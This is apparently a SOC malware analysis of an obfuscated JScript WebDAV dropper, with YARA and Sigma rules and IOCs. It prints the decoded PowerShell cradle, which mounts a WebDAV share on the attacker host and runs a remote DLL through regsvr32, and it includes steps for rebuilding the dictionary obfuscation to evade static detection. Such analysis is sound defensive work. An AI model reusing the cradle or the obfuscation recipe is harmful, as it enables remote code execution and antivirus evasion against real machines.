unclassified-js-webdav-dropper: ccb2d007 — Thirteenth sibling, dictionary-lookup JScript, WebDAV C2 dailywebstats.com:8888

Executive Summary

JScript dropper with a 62-entry dictionary-lookup obfuscation (three-word English phrase keys mapped to single characters) that decodes to a PowerShell -EncodedCommand cradle. The cradle mounts a WebDAV share at dailywebstats.com:8888 and executes regsvr32 /s against a remote DLL (25738778612530.dll). Thirteenth confirmed sibling in the unclassified-js-webdav-dropper family; shares the dailywebstats.com:8888 C2 host with e6ebae6a and cc90d6c but uses a distinct 62-entry dictionary with different key strings.

What It Is

• Filename: 258661595924818654.js (OpenCTI source) ^[triage.json]
• Size: 21,871 bytes ^[triage.json]
• File type: Plaintext JScript; file misidentifies as Apple QuickTime movie (unoptimized) due to leading try{ noise. ^[file.txt]
• Family: unclassified-js-webdav-dropper — thirteenth confirmed sibling. ^[/intel/analyses/ccb2d007b367cbea45bb289fbcb0b01f2ea7aea932118e06d213e36a7b0c2ae9.html]
• Obfuscation dialect: Dictionary-lookup table (62 entries). Keys are alliterative three-word English phrases (wide-eyedquickbrass, campturkeydonkey, advertisementwingreaction). Values are single ASCII characters. The dictionary is assembled into a JS object, then decoded via Function('return this')() to access WScript.CreateObject and WScript.Shell.Run. ^[strings.txt]
• CAPE status: Skipped — not a supported binary class. ^[dynamic-analysis.md]

How It Works

1. Decoy try/catch. The outer try{wide-eyedquickbrass();}catch(campturkeydonkey){...} is a no-op decoy; the real payload lives in the catch block. The function names are undefined, guaranteeing the catch path. ^[strings.txt]

2. Dictionary assembly. Inside the catch block, an object advertisementwingreaction is populated with 62 key/value pairs. Each key is a memorable three-word English phrase; each value is a single ASCII character covering [a-zA-Z0-9] plus symbols. ^[strings.txt]

3. String concatenation via Function('return this')(). The payload reconstructs string literals at runtime by concatenating dictionary lookups:

   • Function('return this')() yields the global object (WScript in WSH).
   • WScript['Shell'] resolves WScript.Shell.
   • .CreateObject('WScript.Shell') creates the shell object.
   • .Run(..., 0, false) executes the decoded PowerShell command with a hidden window. ^[strings.txt]

4. PowerShell cradle. The decoded command is:

   powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIAMQA3ADMAOAA3ADcAOAA2ADEAMgA1ADMAMAAuAGQAbABsAA==
   

   Base64-decoded (UTF-16-LE): net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\25738778612530.dll ^[strings.txt]

5. Execution chain. wscript.exe → powershell.exe -EncodedCommand → net use (WebDAV mount) → regsvr32 /s (silent DLL registration). No intermediate batch file, no wordpad decoy, no sandbox gate. ^[strings.txt]

Decompiled Behavior

Not applicable — this is a plaintext JScript file, not a compiled PE binary. No Ghidra or radare2 analysis was performed. ^[pefile.txt] ^[rabin2-info.txt]

C2 Infrastructure

Interesting Tidbits

• 62-entry dictionary. Same cardinality as cc90d6c (twelfth sibling) but different key strings. The cc90d6c keys are alliterative three-word phrases (wholesaleentergullible, transportairbillowy); this sample uses a different alliterative set (wide-eyedquickbrass, campturkeydonkey). This suggests the dictionary is regenerated per build, not hardcoded in a shared builder. ^[strings.txt]
• No PowerShell hidden flag. The Run call uses 0, false (hidden window, no wait), but the PowerShell command itself lacks -WindowStyle Hidden. The -EncodedCommand flag alone hides the payload from casual inspection. ^[strings.txt]
• No sandbox gate. Unlike the unclassified-js-dropper family (Brazilian JS), this sample has no aspnet_compiler check, no debugger detection, no WScript.Sleep delay. It executes immediately on open. ^[strings.txt]
• No persistence. One-shot execution; no registry, no scheduled task, no startup folder. The threat actor relies on the user re-opening the lure or the dropper being delivered via a persistent mechanism (e.g., email attachment, LNK). ^[strings.txt]
• Clean file header. file misidentifies as QuickTime MOV due to the leading try{ — a common false positive for script files that begin with non-ASCII-looking literals. exiftool correctly identifies it as a generic file with no metadata. ^[file.txt] ^[exiftool.json]

How To Mess With It (Homelab Replication)

Replicating the obfuscation is straightforward and useful for understanding how EDR/AV handles script deobfuscation:

1. Generate the dictionary. Pick 62 unique English phrases and map them to [a-zA-Z0-9] characters. Example:

   var dict = {
     'wideeyedquickbrass': 't', 'campturkeydonkey': 'r',
     // ... 60 more entries
   };
   

2. Encode your payload. Take a PowerShell command and split it into character-by-character dictionary lookups, then wrap in the JScript template with try{undefinedFunction();}catch(e){...}.

3. Verify detection. Run your reproducer through Windows Defender or your EDR script engine. If the dictionary is large enough and keys are random, static string matching will fail. Behavioral detection (monitoring WScript.Shell.Run spawning powershell.exe) is the reliable countermeasure.

Deployable Signatures

YARA Rule

rule JS_Dictionary_Lookup_WebDAV_Dropper {
    meta:
        description = "JScript WebDAV dropper with dictionary-lookup obfuscation"
        author = "PacketPursuit SOC"
        date = "2026-06-24"
        reference = "/intel/analyses/ccb2d007b367cbea45bb289fbcb0b01f2ea7aea932118e06d213e36a7b0c2ae9.html"
    strings:
        $dict_obj = "advertisementwingreaction" ascii
        $dict_access = "advertisementwingreaction['" ascii
        $webdav_domain = "dailywebstats.com" nocase
        $davwwwroot = "davwwwroot" nocase
        $net_use = "net use" nocase
        $regsvr32 = "regsvr32" nocase
        $powershell_enc = "-EncodedCommand" nocase
    condition:
        filesize < 50KB and
        $dict_obj and
        ($webdav_domain or ($net_use and $regsvr32)) and
        $powershell_enc
}

Sigma Rule

title: WebDAV DLL Registration via JScript/PowerShell
status: experimental
description: Detects JScript execution spawning powershell.exe that mounts a WebDAV share and calls regsvr32 against a remote DLL.
logsource:
    category: process_creation
    product: windows
detection:
    selection_js_parent:
        ParentImage|endswith: '\\wscript.exe'
        ParentCommandLine|contains: '.js'
    selection_powershell:
        Image|endswith: '\\powershell.exe'
        CommandLine|contains:
            - '-EncodedCommand'
            - 'net use'
            - 'regsvr32'
    selection_webdav:
        CommandLine|contains:
            - '\\dailywebstats.com'
            - '\\@8888\\davwwwroot'
    condition: selection_js_parent and selection_powershell and selection_webdav
falsepositives:
    - Unknown
level: high

Behavioral Fingerprint Statement

This JScript file opens with a try{undefinedFunction()}catch(e){...} decoy, then builds a 62-entry dictionary object mapping English phrases to single characters. It uses Function('return this')() to access WScript.Shell, then calls Run() with a hidden window to execute powershell.exe -EncodedCommand. The decoded PowerShell mounts a WebDAV share at dailywebstats.com:8888 and calls regsvr32 /s against a remote DLL (25738778612530.dll). No sandbox gate, no persistence, no decoy application.

IOC List

Detection Signatures

• No capa hits (not a PE binary). ^[capa.txt]
• No yara matches (no existing signatures for this obfuscation dialect). ^[yara.txt]
• Behavioral detection target: wscript.exe spawning powershell.exe with -EncodedCommand and net use + regsvr32 in the decoded command line.

References

• Entity page: unclassified-js-webdav-dropper
• Technique page: webdav-regsvr32-dll-sideloading
• Technique page: js-dictionary-char-lookup-obfuscation
• Sibling analysis: e6ebae6a (WebDAV C2 dailywebstats.com:8888, 30122106810637.dll) ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]
• Sibling analysis: cc90d6c (WebDAV C2 dailywebstats.com:8888, 7110415629547.dll, alliterative 62-entry dictionary) ^[/intel/analyses/cc90d6c54bfdfe7b7bc5ff2a92facb38f599efa43118f47ec09330414c3d0ccf.html]

Provenance

• file.txt — file v12.83, misidentifies as QuickTime MOV
• exiftool.json — ExifTool 12.76, generic file metadata
• pefile.txt — (not PE) — confirmed non-PE
• rabin2-info.txt — radare2, confirms no executable code
• strings.txt — Full JScript source (21,871 bytes), decoded via custom Python script
• triage.json — Triage pipeline metadata (2026-05-26)
• dynamic-analysis.md — CAPE skipped (unsupported file type)
• yara.txt — Empty (no matches)
• ssdeep.txt — 192:GTWYjEz+BTj5w6UCXyDX2cziyvuP9BOmIRY+NXPAtXBOmIRYGHXEg+Vti:DrzKwBDvuP/q6+pPAtxq6cR+Vti
• tlsh.txt — 56A2E600F5A8FBF2EC4F3DF995525FE8536A4A9E24037F2222F7A5408B309E9515B49C